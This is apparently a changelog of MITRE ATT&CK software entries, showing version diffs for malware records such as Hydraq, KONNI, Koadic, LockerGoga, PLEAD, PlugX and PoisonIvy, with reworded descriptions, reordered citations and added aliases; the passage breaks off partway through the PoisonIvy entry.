| external_references | https://www.proofpoint.com/us/threat-insight/post/operation-rat-cook-chinese-apt-actors-use-fake-game-thrones-leaks-lures | |
| external_references | https://www.fireeye.com/blog/threat-research/2013/05/ready-for-summer-the-sunshop-campaign.html | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-01-06 19:32:28.374000+00:00 | 2022-04-15 14:57:44.182000+00:00 |
| description | [Hydraq](https://attack.mitre.org/software/S0203) is a data-theft trojan first used by [Elderwood](https://attack.mitre.org/groups/G0066) in the 2009 Google intrusion known as Operation Aurora, though variations of this trojan have been used in more recent campaigns by other Chinese actors, possibly including [APT17](https://attack.mitre.org/groups/G0025). (Citation: MicroFocus 9002 Aug 2016) (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Trojan.Hydraq Jan 2010) (Citation: ASERT Seven Pointed Dagger Aug 2015) (Citation: FireEye DeputyDog 9002 November 2013) (Citation: ProofPoint GoT 9002 Aug 2017) (Citation: FireEye Sunshop Campaign May 2013) (Citation: PaloAlto 3102 Sept 2015) | [Hydraq](https://attack.mitre.org/software/S0203) is a data-theft trojan first used by [Elderwood](https://attack.mitre.org/groups/G0066) in the 2009 Google intrusion known as Operation Aurora, though variations of this trojan have been used in more recent campaigns by other Chinese actors, possibly including [APT17](https://attack.mitre.org/groups/G0025).(Citation: MicroFocus 9002 Aug 2016)(Citation: Symantec Elderwood Sept 2012)(Citation: Symantec Trojan.Hydraq Jan 2010)(Citation: ASERT Seven Pointed Dagger Aug 2015)(Citation: FireEye DeputyDog 9002 November 2013)(Citation: ProofPoint GoT 9002 Aug 2017)(Citation: FireEye Sunshop Campaign May 2013)(Citation: PaloAlto 3102 Sept 2015) |
| external_references[1]['source_name'] | Hydraq | 9002 RAT |
| external_references[1]['description'] | (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Trojan.Hydraq Jan 2010) | (Citation: MicroFocus 9002 Aug 2016) |
| external_references[2]['source_name'] | Aurora | Roarur |
| external_references[2]['description'] | (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Trojan.Hydraq Jan 2010) | (Citation: Novetta-Axiom) |
| external_references[3]['source_name'] | 9002 RAT | MdmBot |
| external_references[3]['description'] | (Citation: MicroFocus 9002 Aug 2016) | (Citation: Novetta-Axiom) |
| external_references[4]['source_name'] | MicroFocus 9002 Aug 2016 | HomeUnix |
| external_references[4]['description'] | Petrovsky, O. (2016, August 30). “9002 RAT” -- a second building on the left. Retrieved February 20, 2018. | (Citation: Novetta-Axiom) |
| external_references[5]['source_name'] | Symantec Elderwood Sept 2012 | Homux |
| external_references[5]['description'] | O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018. | (Citation: Novetta-Axiom) |
| external_references[6]['source_name'] | Symantec Trojan.Hydraq Jan 2010 | HidraQ |
| external_references[6]['description'] | Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018. | (Citation: Novetta-Axiom) |
| external_references[7]['source_name'] | ASERT Seven Pointed Dagger Aug 2015 | HydraQ |
| external_references[7]['description'] | ASERT. (2015, August). ASERT Threat Intelligence Report – Uncovering the Seven Pointed Dagger. Retrieved March 19, 2018. | (Citation: Novetta-Axiom) |
| external_references[8]['source_name'] | FireEye DeputyDog 9002 November 2013 | McRat |
| external_references[8]['description'] | Moran, N. et al.. (2013, November 10). Operation Ephemeral Hydra: IE Zero-Day Linked to DeputyDog Uses Diskless Method. Retrieved March 19, 2018. | (Citation: Novetta-Axiom) |
| external_references[9]['source_name'] | ProofPoint GoT 9002 Aug 2017 | Hydraq |
| external_references[9]['description'] | Huss, D. & Mesa, M. (2017, August 25). Operation RAT Cook: Chinese APT actors use fake Game of Thrones leaks as lures. Retrieved March 19, 2018. | (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Trojan.Hydraq Jan 2010) |
| external_references[10]['source_name'] | FireEye Sunshop Campaign May 2013 | Aurora |
| external_references[10]['description'] | Moran, N. (2013, May 20). Ready for Summer: The Sunshop Campaign. Retrieved March 19, 2018. | (Citation: Symantec Elderwood Sept 2012)(Citation: Symantec Trojan.Hydraq Jan 2010) |
| external_references[11]['source_name'] | PaloAlto 3102 Sept 2015 | ASERT Seven Pointed Dagger Aug 2015 |
| external_references[11]['description'] | Falcone, R. & Miller-Osborn, J. (2015, September 23). Chinese Actors Use ‘3102’ Malware in Attacks on US Government and EU Media. Retrieved March 19, 2018. | ASERT. (2015, August). ASERT Threat Intelligence Report – Uncovering the Seven Pointed Dagger. Retrieved March 19, 2018. |
| external_references[11]['url'] | https://researchcenter.paloaltonetworks.com/2015/09/chinese-actors-use-3102-malware-in-attacks-on-us-government-and-eu-media/ | https://www.arbornetworks.com/blog/asert/wp-content/uploads/2016/01/ASERT-Threat-Intelligence-Brief-2015-08-Uncovering-the-Seven-Point-Dagger.pdf |
| x_mitre_version | 1.1 | 2.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'PaloAlto 3102 Sept 2015', 'description': 'Falcone, R. & Miller-Osborn, J. (2015, September 23). Chinese Actors Use ‘3102’ Malware in Attacks on US Government and EU Media. Retrieved March 19, 2018.', 'url': 'https://researchcenter.paloaltonetworks.com/2015/09/chinese-actors-use-3102-malware-in-attacks-on-us-government-and-eu-media/'} |
| external_references | | {'source_name': 'ProofPoint GoT 9002 Aug 2017', 'description': 'Huss, D. & Mesa, M. (2017, August 25). Operation RAT Cook: Chinese APT actors use fake Game of Thrones leaks as lures. Retrieved March 19, 2018.', 'url': 'https://www.proofpoint.com/us/threat-insight/post/operation-rat-cook-chinese-apt-actors-use-fake-game-thrones-leaks-lures'} |
| external_references | | {'source_name': 'FireEye Sunshop Campaign May 2013', 'description': 'Moran, N. (2013, May 20). Ready for Summer: The Sunshop Campaign. Retrieved March 19, 2018.', 'url': 'https://www.fireeye.com/blog/threat-research/2013/05/ready-for-summer-the-sunshop-campaign.html'} |
| external_references | | {'source_name': 'FireEye DeputyDog 9002 November 2013', 'description': 'Moran, N. et al.. (2013, November 10). Operation Ephemeral Hydra: IE Zero-Day Linked to DeputyDog Uses Diskless Method. Retrieved March 19, 2018.', 'url': 'https://www.fireeye.com/blog/threat-research/2013/11/operation-ephemeral-hydra-ie-zero-day-linked-to-deputydog-uses-diskless-method.html'} |
| external_references | | {'source_name': 'Novetta-Axiom', 'description': 'Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.', 'url': 'http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf'} |
| external_references | | {'source_name': 'Symantec Elderwood Sept 2012', 'description': "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", 'url': 'https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf'} |
| external_references | | {'source_name': 'MicroFocus 9002 Aug 2016', 'description': 'Petrovsky, O. (2016, August 30). “9002 RAT” -- a second building on the left. Retrieved February 20, 2018.', 'url': 'https://community.softwaregrp.com/t5/Security-Research/9002-RAT-a-second-building-on-the-left/ba-p/228686#.WosBVKjwZPZ'} |
| external_references | | {'source_name': 'Symantec Trojan.Hydraq Jan 2010', 'description': 'Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.', 'url': 'https://www.symantec.com/connect/blogs/trojanhydraq-incident'} |
| x_mitre_aliases | | Roarur |
| x_mitre_aliases | | MdmBot |
| x_mitre_aliases | | HomeUnix |
| x_mitre_aliases | | Homux |
| x_mitre_aliases | | HidraQ |
| x_mitre_aliases | | HydraQ |
| x_mitre_aliases | | McRat |
[S0356] KONNI
Current version: 2.0
Version changed from: 1.4 → 2.0
|
|
|---|
| t | [KONNI](https://attack.mitre.org/software/S0356) is a Window | t | [KONNI](https://attack.mitre.org/software/S0356) is a remote |
| s remote administration too that has been seen in use since | | access tool that security researchers assess has been used |
| 2014 and evolved in its capabilities through at least 2017. | | by North Korean cyber actors since at least 2014. [KONNI](ht |
| [KONNI](https://attack.mitre.org/software/S0356) has been li | | tps://attack.mitre.org/software/S0356) has significant code |
| nked to several campaigns involving North Korean themes.(Cit | | overlap with the [NOKKI](https://attack.mitre.org/software/S |
| ation: Talos Konni May 2017) [KONNI](https://attack.mitre.or | | 0353) malware family, and has been linked to several suspect |
| g/software/S0356) has significant code overlap with the [NOK | | ed North Korean campaigns targeting political organizations |
| KI](https://attack.mitre.org/software/S0353) malware family. | | in Russia, East Asia, Europe and the Middle East; there is s |
| There is some evidence potentially linking [KONNI](https:// | | ome evidence potentially linking [KONNI](https://attack.mitr |
| attack.mitre.org/software/S0356) to [APT37](https://attack.m | | e.org/software/S0356) to [APT37](https://attack.mitre.org/gr |
| itre.org/groups/G0067).(Citation: Unit 42 NOKKI Sept 2018)(C | | oups/G0067).(Citation: Talos Konni May 2017)(Citation: Unit |
| itation: Unit 42 Nokki Oct 2018)(Citation: Medium KONNI Jan | | 42 NOKKI Sept 2018)(Citation: Unit 42 Nokki Oct 2018)(Citati |
| 2020) | | on: Medium KONNI Jan 2020)(Citation: Malwarebytes Konni Aug |
| | | 2021) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-08-03 19:32:54.607000+00:00 | 2022-04-13 17:26:25.143000+00:00 |
| description | [KONNI](https://attack.mitre.org/software/S0356) is a Windows remote administration too that has been seen in use since 2014 and evolved in its capabilities through at least 2017. [KONNI](https://attack.mitre.org/software/S0356) has been linked to several campaigns involving North Korean themes.(Citation: Talos Konni May 2017) [KONNI](https://attack.mitre.org/software/S0356) has significant code overlap with the [NOKKI](https://attack.mitre.org/software/S0353) malware family. There is some evidence potentially linking [KONNI](https://attack.mitre.org/software/S0356) to [APT37](https://attack.mitre.org/groups/G0067).(Citation: Unit 42 NOKKI Sept 2018)(Citation: Unit 42 Nokki Oct 2018)(Citation: Medium KONNI Jan 2020) | [KONNI](https://attack.mitre.org/software/S0356) is a remote access tool that security researchers assess has been used by North Korean cyber actors since at least 2014. [KONNI](https://attack.mitre.org/software/S0356) has significant code overlap with the [NOKKI](https://attack.mitre.org/software/S0353) malware family, and has been linked to several suspected North Korean campaigns targeting political organizations in Russia, East Asia, Europe and the Middle East; there is some evidence potentially linking [KONNI](https://attack.mitre.org/software/S0356) to [APT37](https://attack.mitre.org/groups/G0067).(Citation: Talos Konni May 2017)(Citation: Unit 42 NOKKI Sept 2018)(Citation: Unit 42 Nokki Oct 2018)(Citation: Medium KONNI Jan 2020)(Citation: Malwarebytes Konni Aug 2021) |
| external_references[1]['description'] | (Citation: Talos Konni May 2017) | (Citation: Talos Konni May 2017)(Citation: Malwarebytes Konni Aug 2021) |
| external_references[2]['source_name'] | Talos Konni May 2017 | Unit 42 Nokki Oct 2018 |
| external_references[2]['description'] | Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018. | Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018. |
| external_references[2]['url'] | https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html | https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/ |
| external_references[4]['source_name'] | Unit 42 Nokki Oct 2018 | Medium KONNI Jan 2020 |
| external_references[4]['description'] | Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018. | Karmi, D. (2020, January 4). A Look Into Konni 2019 Campaign. Retrieved April 28, 2020. |
| external_references[4]['url'] | https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/ | https://medium.com/d-hunter/a-look-into-konni-2019-campaign-b45a0f321e9b |
| external_references[5]['source_name'] | Medium KONNI Jan 2020 | Talos Konni May 2017 |
| external_references[5]['description'] | Karmi, D. (2020, January 4). A Look Into Konni 2019 Campaign. Retrieved April 28, 2020. | Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018. |
| external_references[5]['url'] | https://medium.com/d-hunter/a-look-into-konni-2019-campaign-b45a0f321e9b | https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html |
| x_mitre_version | 1.4 | 2.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Malwarebytes Konni Aug 2021', 'description': 'Threat Intelligence Team. (2021, August 23). New variant of Konni malware used in campaign targetting Russia. Retrieved January 5, 2022.', 'url': 'https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/'} |
[S0250] Koadic
Current version: 2.0
Version changed from: 1.1 → 2.0
|
|
|---|
| t | [Koadic](https://attack.mitre.org/software/S0250) is a Windo | t | [Koadic](https://attack.mitre.org/software/S0250) is a Windo |
| ws post-exploitation framework and penetration testing tool. | | ws post-exploitation framework and penetration testing tool |
| [Koadic](https://attack.mitre.org/software/S0250) is public | | that is publicly available on GitHub. [Koadic](https://attac |
| ly available on GitHub and the tool is executed via the comm | | k.mitre.org/software/S0250) has several options for staging |
| and-line. [Koadic](https://attack.mitre.org/software/S0250) | | payloads and creating implants, and performs most of its ope |
| has several options for staging payloads and creating implan | | rations using Windows Script Host.(Citation: Github Koadic)( |
| ts. [Koadic](https://attack.mitre.org/software/S0250) perfor | | Citation: Palo Alto Sofacy 06-2018)(Citation: MalwareBytes L |
| ms most of its operations using Windows Script Host. (Citati | | azyScripter Feb 2021) |
| on: Github Koadic) (Citation: Palo Alto Sofacy 06-2018) | | |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-30 16:55:29.911000+00:00 | 2022-04-06 19:32:33.511000+00:00 |
| description | [Koadic](https://attack.mitre.org/software/S0250) is a Windows post-exploitation framework and penetration testing tool. [Koadic](https://attack.mitre.org/software/S0250) is publicly available on GitHub and the tool is executed via the command-line. [Koadic](https://attack.mitre.org/software/S0250) has several options for staging payloads and creating implants. [Koadic](https://attack.mitre.org/software/S0250) performs most of its operations using Windows Script Host. (Citation: Github Koadic) (Citation: Palo Alto Sofacy 06-2018) | [Koadic](https://attack.mitre.org/software/S0250) is a Windows post-exploitation framework and penetration testing tool that is publicly available on GitHub. [Koadic](https://attack.mitre.org/software/S0250) has several options for staging payloads and creating implants, and performs most of its operations using Windows Script Host.(Citation: Github Koadic)(Citation: Palo Alto Sofacy 06-2018)(Citation: MalwareBytes LazyScripter Feb 2021) |
| external_references[1]['description'] | (Citation: Github Koadic) | (Citation: Github Koadic)(Citation: MalwareBytes LazyScripter Feb 2021) |
| external_references[2]['source_name'] | Github Koadic | MalwareBytes LazyScripter Feb 2021 |
| external_references[2]['description'] | Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018. | Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021. |
| external_references[2]['url'] | https://github.com/zerosum0x0/koadic | https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf |
| x_mitre_version | 1.1 | 2.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Github Koadic', 'description': 'Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.', 'url': 'https://github.com/zerosum0x0/koadic'} |
[S0372] LockerGoga
Current version: 2.0
Version changed from: 1.3 → 2.0
|
|
|---|
| t | [LockerGoga](https://attack.mitre.org/software/S0372) is ran | t | [LockerGoga](https://attack.mitre.org/software/S0372) is ran |
| somware that has been tied to various attacks on European co | | somware that was first reported in January 2019, and has bee |
| mpanies. It was first reported upon in January 2019.(Citatio | | n tied to various attacks on European companies, including i |
| n: Unit42 LockerGoga 2019)(Citation: CarbonBlack LockerGoga | | ndustrial and manufacturing firms.(Citation: Unit42 LockerGo |
| 2019) | | ga 2019)(Citation: CarbonBlack LockerGoga 2019) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-20 18:56:22.049000+00:00 | 2022-04-21 01:00:38.896000+00:00 |
| description | [LockerGoga](https://attack.mitre.org/software/S0372) is ransomware that has been tied to various attacks on European companies. It was first reported upon in January 2019.(Citation: Unit42 LockerGoga 2019)(Citation: CarbonBlack LockerGoga 2019) | [LockerGoga](https://attack.mitre.org/software/S0372) is ransomware that was first reported in January 2019, and has been tied to various attacks on European companies, including industrial and manufacturing firms.(Citation: Unit42 LockerGoga 2019)(Citation: CarbonBlack LockerGoga 2019) |
| external_references[1]['source_name'] | Unit42 LockerGoga 2019 | CarbonBlack LockerGoga 2019 |
| external_references[1]['description'] | Harbison, M.. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019. | CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat Intelligence Notification – LockerGoga Ransomware. Retrieved April 16, 2019. |
| external_references[1]['url'] | https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/ | https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/ |
| external_references[2]['source_name'] | CarbonBlack LockerGoga 2019 | Unit42 LockerGoga 2019 |
| external_references[2]['description'] | CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat Intelligence Notification – LockerGoga Ransomware. Retrieved April 16, 2019. | Harbison, M. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019. |
| external_references[2]['url'] | https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/ | https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/ |
| x_mitre_version | 1.3 | 2.0 |
[S0435] PLEAD
Current version: 2.0
Version changed from: 1.0 → 2.0
|
|
|---|
| t | [PLEAD](https://attack.mitre.org/software/S0435) is a remote | t | [PLEAD](https://attack.mitre.org/software/S0435) is a remote |
| access tool (RAT) and downloader used by [BlackTech](https: | | access tool (RAT) and downloader used by [BlackTech](https: |
| //attack.mitre.org/groups/G0098) in targeted attacks in East | | //attack.mitre.org/groups/G0098) in targeted attacks in East |
| Asia including Taiwan, Japan, and Hong Kong.(Citation: Tren | | Asia including Taiwan, Japan, and Hong Kong.(Citation: Tren |
| dMicro BlackTech June 2017)(Citation: JPCert PLEAD Downloade | | dMicro BlackTech June 2017)(Citation: JPCert PLEAD Downloade |
| r June 2018) [PLEAD](https://attack.mitre.org/software/S0435 | | r June 2018) [PLEAD](https://attack.mitre.org/software/S0435 |
| ) has also been referred to as [TSCookie](https://attack.mit | | ) has also been referred to as [TSCookie](https://attack.mit |
| re.org/software/S0436), though more recent reporting indicat | | re.org/software/S0436), though more recent reporting indicat |
| es likely separation between the two.(Citation: JPCert TSCoo | | es likely separation between the two. [PLEAD](https://attack |
| kie March 2018)(Citation: JPCert PLEAD Downloader June 2018) | | .mitre.org/software/S0435) was observed in use as early as M |
| | | arch 2017.(Citation: JPCert TSCookie March 2018)(Citation: J |
| | | PCert PLEAD Downloader June 2018) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| external_references | | https://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government-agencies-2/ |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-07-04 01:44:16.182000+00:00 | 2022-04-15 11:32:25.173000+00:00 |
| description | [PLEAD](https://attack.mitre.org/software/S0435) is a remote access tool (RAT) and downloader used by [BlackTech](https://attack.mitre.org/groups/G0098) in targeted attacks in East Asia including Taiwan, Japan, and Hong Kong.(Citation: TrendMicro BlackTech June 2017)(Citation: JPCert PLEAD Downloader June 2018) [PLEAD](https://attack.mitre.org/software/S0435) has also been referred to as [TSCookie](https://attack.mitre.org/software/S0436), though more recent reporting indicates likely separation between the two.(Citation: JPCert TSCookie March 2018)(Citation: JPCert PLEAD Downloader June 2018) | [PLEAD](https://attack.mitre.org/software/S0435) is a remote access tool (RAT) and downloader used by [BlackTech](https://attack.mitre.org/groups/G0098) in targeted attacks in East Asia including Taiwan, Japan, and Hong Kong.(Citation: TrendMicro BlackTech June 2017)(Citation: JPCert PLEAD Downloader June 2018) [PLEAD](https://attack.mitre.org/software/S0435) has also been referred to as [TSCookie](https://attack.mitre.org/software/S0436), though more recent reporting indicates likely separation between the two. [PLEAD](https://attack.mitre.org/software/S0435) was observed in use as early as March 2017.(Citation: JPCert TSCookie March 2018)(Citation: JPCert PLEAD Downloader June 2018) |
| external_references[1]['source_name'] | PLEAD | Trend Micro PLEAD RTLO |
| external_references[1]['description'] | PLEAD derived its name from letters used in backdoor commands in intrusion campaigns.(Citation: Trend Micro PLEAD RTLO) | Alintanahin, K.. (2014, May 23). PLEAD Targeted Attacks Against Taiwanese Government Agencies. Retrieved April 22, 2019. |
| external_references[3]['source_name'] | JPCert PLEAD Downloader June 2018 | PLEAD |
| external_references[3]['description'] | Tomonaga, S.. (2018, June 8). PLEAD Downloader Used by BlackTech. Retrieved May 6, 2020. | PLEAD derived its name from letters used in backdoor commands in intrusion campaigns.(Citation: Trend Micro PLEAD RTLO)(Citation: TrendMicro BlackTech June 2017) |
| external_references[4]['source_name'] | JPCert TSCookie March 2018 | JPCert PLEAD Downloader June 2018 |
| external_references[4]['description'] | Tomonaga, S.. (2018, March 6). Malware “TSCookie”. Retrieved May 6, 2020. | Tomonaga, S. (2018, June 8). PLEAD Downloader Used by BlackTech. Retrieved May 6, 2020. |
| external_references[5]['source_name'] | Trend Micro PLEAD RTLO | JPCert TSCookie March 2018 |
| external_references[5]['description'] | Alintanahin, K.. (2014, May 23). PLEAD Targeted Attacks Against Taiwanese Government Agencies. Retrieved April 22, 2019. | Tomonaga, S. (2018, March 6). Malware “TSCookie”. Retrieved May 6, 2020. |
| external_references[5]['url'] | https://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government-agencies-2/ | https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html |
| x_mitre_version | 1.0 | 2.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_contributors | | Hannah Simes, BT Security |
[S0013] PlugX
Current version: 3.0
Version changed from: 2.1 → 3.0
|
|
|---|
| t | [PlugX](https://attack.mitre.org/software/S0013) is a remote | t | [PlugX](https://attack.mitre.org/software/S0013) is a remote |
| access tool (RAT) that uses modular plugins. It has been us | | access tool (RAT) with modular plugins that has been used b |
| ed by multiple threat groups. (Citation: Lastline PlugX Anal | | y multiple threat groups.(Citation: Lastline PlugX Analysis) |
| ysis) (Citation: FireEye Clandestine Fox Part 2) (Citation: | | (Citation: FireEye Clandestine Fox Part 2)(Citation: New Dra |
| New DragonOK) (Citation: Dell TG-3390) | | gonOK)(Citation: Dell TG-3390) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | http://labs.lastline.com/an-analysis-of-plugx | |
| external_references | https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-06-20 21:43:42.587000+00:00 | 2022-04-15 16:30:28.192000+00:00 |
| description | [PlugX](https://attack.mitre.org/software/S0013) is a remote access tool (RAT) that uses modular plugins. It has been used by multiple threat groups. (Citation: Lastline PlugX Analysis) (Citation: FireEye Clandestine Fox Part 2) (Citation: New DragonOK) (Citation: Dell TG-3390) | [PlugX](https://attack.mitre.org/software/S0013) is a remote access tool (RAT) with modular plugins that has been used by multiple threat groups.(Citation: Lastline PlugX Analysis)(Citation: FireEye Clandestine Fox Part 2)(Citation: New DragonOK)(Citation: Dell TG-3390) |
| external_references[1]['source_name'] | PlugX | DestroyRAT |
| external_references[1]['description'] | (Citation: Lastline PlugX Analysis) (Citation: FireEye Clandestine Fox Part 2)(Citation: CIRCL PlugX March 2013) | (Citation: CIRCL PlugX March 2013) |
| external_references[2]['source_name'] | DestroyRAT | Kaba |
| external_references[2]['description'] | (Citation: CIRCL PlugX March 2013) | (Citation: FireEye Clandestine Fox Part 2) |
| external_references[3]['source_name'] | Sogu | PlugX |
| external_references[4]['source_name'] | Kaba | Korplug |
| external_references[4]['description'] | (Citation: FireEye Clandestine Fox Part 2) | (Citation: Lastline PlugX Analysis)(Citation: CIRCL PlugX March 2013) |
| external_references[5]['source_name'] | Korplug | Sogu |
| external_references[5]['description'] | (Citation: Lastline PlugX Analysis)(Citation: CIRCL PlugX March 2013) | (Citation: Lastline PlugX Analysis)(Citation: FireEye Clandestine Fox Part 2)(Citation: CIRCL PlugX March 2013) |
| external_references[6]['source_name'] | Lastline PlugX Analysis | Thoper |
| external_references[6]['description'] | Vasilenko, R. (2013, December 17). An Analysis of PlugX Malware. Retrieved November 24, 2015. | (Citation: Novetta-Axiom) |
| external_references[7]['source_name'] | FireEye Clandestine Fox Part 2 | TVT |
| external_references[7]['description'] | Scott, M.. (2014, June 10). Clandestine Fox, Part Deux. Retrieved January 14, 2016. | (Citation: Novetta-Axiom) |
| external_references[8]['source_name'] | New DragonOK | CIRCL PlugX March 2013 |
| external_references[8]['description'] | Miller-Osborn, J., Grunzweig, J.. (2015, April). Unit 42 Identifies New DragonOK Backdoor Malware Deployed Against Japanese Targets. Retrieved November 4, 2015. | Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018. |
| external_references[8]['url'] | http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/ | http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf |
| external_references[10]['source_name'] | CIRCL PlugX March 2013 | New DragonOK |
| external_references[10]['description'] | Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018. | Miller-Osborn, J., Grunzweig, J.. (2015, April). Unit 42 Identifies New DragonOK Backdoor Malware Deployed Against Japanese Targets. Retrieved November 4, 2015. |
| external_references[10]['url'] | http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf | http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/ |
| x_mitre_version | 2.1 | 3.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Novetta-Axiom', 'description': 'Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.', 'url': 'http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf'} |
| external_references | | {'source_name': 'FireEye Clandestine Fox Part 2', 'description': 'Scott, M.. (2014, June 10). Clandestine Fox, Part Deux. Retrieved January 14, 2016.', 'url': 'https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html'} |
| external_references | | {'source_name': 'Lastline PlugX Analysis', 'description': 'Vasilenko, R. (2013, December 17). An Analysis of PlugX Malware. Retrieved November 24, 2015.', 'url': 'http://labs.lastline.com/an-analysis-of-plugx'} |
| x_mitre_aliases | | Thoper |
| x_mitre_aliases | | TVT |
[S0012] PoisonIvy
Current version: 2.0
Version changed from: 1.3 → 2.0
|
|
|---|
| t | [PoisonIvy](https://attack.mitre.org/software/S0012) is a po | t | [PoisonIvy](https://attack.mitre.org/software/S0012) is a po |
| pular remote access tool (RAT) that has been used by many gr | | pular remote access tool (RAT) that has been used by many gr |
| oups. (Citation: FireEye Poison Ivy) (Citation: Symantec Eld | | oups.(Citation: FireEye Poison Ivy)(Citation: Symantec Elder |
| erwood Sept 2012) (Citation: Symantec Darkmoon Aug 2005) | | wood Sept 2012)(Citation: Symantec Darkmoon Aug 2005) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf | |
values_changed| STIX Field | Old value | New Value |
|---|
